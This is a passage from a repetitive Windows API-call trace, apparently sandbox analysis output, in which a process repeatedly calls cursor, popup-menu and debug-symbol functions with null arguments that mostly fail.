TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.841] GetLastError () returned 0x579 [0140.841] SetLastError (dwErrCode=0x579) [0140.841] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.841] SymCleanup (hProcess=0x0) returned 0 [0140.841] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.841] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.841] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.841] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.842] GetLastError () returned 0x579 [0140.842] SetLastError (dwErrCode=0x579) [0140.842] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.842] SymCleanup (hProcess=0x0) returned 0 [0140.842] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.842] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.842] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.842] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.842] GetLastError () returned 0x579 [0140.842] SetLastError (dwErrCode=0x579) [0140.842] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.842] SymCleanup (hProcess=0x0) returned 0 [0140.842] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.842] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.846] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.846] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.846] GetLastError () returned 0x579 [0140.846] SetLastError (dwErrCode=0x579) [0140.846] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.846] SymCleanup (hProcess=0x0) returned 0 [0140.846] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.846] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.846] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.846] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1214, param_4=370, param_5=0x0, param_6=0x0) returned 0 [0140.846] GetLastError () returned 0x579 [0140.846] SetLastError (dwErrCode=0x579) [0140.846] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.846] SymCleanup (hProcess=0x0) returned 0 [0140.846] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.847] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.847] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.847] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.847] GetLastError () returned 0x579 [0140.847] SetLastError (dwErrCode=0x579) [0140.847] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.847] SymCleanup (hProcess=0x0) returned 0 [0140.847] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.847] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.847] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.847] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.847] GetLastError () returned 0x579 [0140.847] SetLastError (dwErrCode=0x579) [0140.847] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.847] SymCleanup (hProcess=0x0) returned 0 [0140.847] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.847] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.848] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.848] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.848] GetLastError () returned 0x579 [0140.848] SetLastError (dwErrCode=0x579) [0140.848] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.848] SymCleanup (hProcess=0x0) returned 0 [0140.848] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.848] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.848] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.848] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.848] GetLastError () returned 0x579 [0140.848] SetLastError (dwErrCode=0x579) [0140.848] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.848] SymCleanup (hProcess=0x0) returned 0 [0140.848] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.848] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.848] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.849] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1017, param_4=895, param_5=0x0, param_6=0x0) returned 0 [0140.849] GetLastError () returned 0x579 [0140.849] SetLastError (dwErrCode=0x579) [0140.849] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.849] SymCleanup (hProcess=0x0) returned 0 [0140.849] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.849] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.849] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.849] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.849] GetLastError () returned 0x579 [0140.849] SetLastError (dwErrCode=0x579) [0140.849] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.849] SymCleanup (hProcess=0x0) returned 0 [0140.849] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.849] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.849] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.849] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.849] GetLastError () returned 0x579 [0140.849] SetLastError (dwErrCode=0x579) [0140.849] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.849] SymCleanup (hProcess=0x0) returned 0 [0140.849] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.850] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.850] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.850] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.850] GetLastError () returned 0x579 [0140.850] SetLastError (dwErrCode=0x579) [0140.850] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.850] SymCleanup (hProcess=0x0) returned 0 [0140.850] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.850] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.850] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.850] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.850] GetLastError () returned 0x579 [0140.850] SetLastError (dwErrCode=0x579) [0140.850] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.850] SymCleanup (hProcess=0x0) returned 0 [0140.850] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.850] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.850] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.850] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1280, param_4=228, param_5=0x0, param_6=0x0) returned 0 [0140.850] GetLastError () returned 0x579 [0140.850] SetLastError (dwErrCode=0x579) [0140.851] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.851] SymCleanup (hProcess=0x0) returned 0 [0140.851] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.851] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.851] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.851] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.851] GetLastError () returned 0x579 [0140.851] SetLastError (dwErrCode=0x579) [0140.851] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.851] SymCleanup (hProcess=0x0) returned 0 [0140.851] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.851] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.851] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.851] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.851] GetLastError () returned 0x579 [0140.851] SetLastError (dwErrCode=0x579) [0140.851] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.851] SymCleanup (hProcess=0x0) returned 0 [0140.851] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.851] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.851] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.851] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.851] GetLastError () returned 0x579 [0140.852] SetLastError (dwErrCode=0x579) [0140.852] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.852] SymCleanup (hProcess=0x0) returned 0 [0140.852] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.852] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.852] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.852] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.852] GetLastError () returned 0x579 [0140.852] SetLastError (dwErrCode=0x579) [0140.852] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.852] SymCleanup (hProcess=0x0) returned 0 [0140.852] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.852] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.852] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.852] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=730, param_4=856, param_5=0x0, param_6=0x0) returned 0 [0140.852] GetLastError () returned 0x579 [0140.852] SetLastError (dwErrCode=0x579) [0140.852] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.852] SymCleanup (hProcess=0x0) returned 0 [0140.853] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.853] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.853] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.853] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.853] GetLastError () returned 0x579 [0140.853] SetLastError (dwErrCode=0x579) [0140.853] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.853] SymCleanup (hProcess=0x0) returned 0 [0140.853] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.853] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.853] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.853] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.853] GetLastError () returned 0x579 [0140.853] SetLastError (dwErrCode=0x579) [0140.854] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.854] SymCleanup (hProcess=0x0) returned 0 [0140.854] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.854] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.854] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.854] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.854] GetLastError () returned 0x579 [0140.854] SetLastError (dwErrCode=0x579) [0140.854] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.854] SymCleanup (hProcess=0x0) returned 0 [0140.854] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.854] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.854] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.854] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.854] GetLastError () returned 0x579 [0140.854] SetLastError (dwErrCode=0x579) [0140.854] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.854] SymCleanup (hProcess=0x0) returned 0 [0140.854] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.854] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.854] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.854] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1098, param_4=102, param_5=0x0, param_6=0x0) returned 0 [0140.855] GetLastError () returned 0x579 [0140.855] SetLastError (dwErrCode=0x579) [0140.855] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.855] SymCleanup (hProcess=0x0) returned 0 [0140.855] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.855] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.855] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.855] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.855] GetLastError () returned 0x579 [0140.855] SetLastError (dwErrCode=0x579) [0140.855] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.855] SymCleanup (hProcess=0x0) returned 0 [0140.855] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.855] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.855] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.855] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.855] GetLastError () returned 0x579 [0140.855] SetLastError (dwErrCode=0x579) [0140.855] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.855] SymCleanup (hProcess=0x0) returned 0 [0140.855] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.855] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.855] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.856] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.856] GetLastError () returned 0x579 [0140.856] SetLastError (dwErrCode=0x579) [0140.856] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.856] SymCleanup (hProcess=0x0) returned 0 [0140.856] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.856] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.856] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.856] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.856] GetLastError () returned 0x579 [0140.856] SetLastError (dwErrCode=0x579) [0140.856] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.856] SymCleanup (hProcess=0x0) returned 0 [0140.856] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.856] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.856] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.856] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=280, param_4=813, param_5=0x0, param_6=0x0) returned 0 [0140.856] GetLastError () returned 0x579 [0140.856] SetLastError (dwErrCode=0x579) [0140.856] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.856] SymCleanup (hProcess=0x0) returned 0 [0140.857] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.857] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.857] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.857] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.857] GetLastError () returned 0x579 [0140.857] SetLastError (dwErrCode=0x579) [0140.857] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.857] SymCleanup (hProcess=0x0) returned 0 [0140.857] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.857] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.857] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.857] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.857] GetLastError () returned 0x579 [0140.857] SetLastError (dwErrCode=0x579) [0140.857] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.857] SymCleanup (hProcess=0x0) returned 0 [0140.857] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.857] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.857] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.857] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.857] GetLastError () returned 0x579 [0140.857] SetLastError (dwErrCode=0x579) [0140.858] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.858] SymCleanup (hProcess=0x0) returned 0 [0140.858] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.858] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.858] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.858] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.858] GetLastError () returned 0x579 [0140.858] SetLastError (dwErrCode=0x579) [0140.858] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.858] SymCleanup (hProcess=0x0) returned 0 [0140.858] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=439, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.859] GetLastError () returned 0x579 [0140.859] SetLastError (dwErrCode=0x579) [0140.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.859] SymCleanup (hProcess=0x0) returned 0 [0140.859] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.859] GetLastError () returned 0x579 [0140.859] SetLastError (dwErrCode=0x579) [0140.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.859] 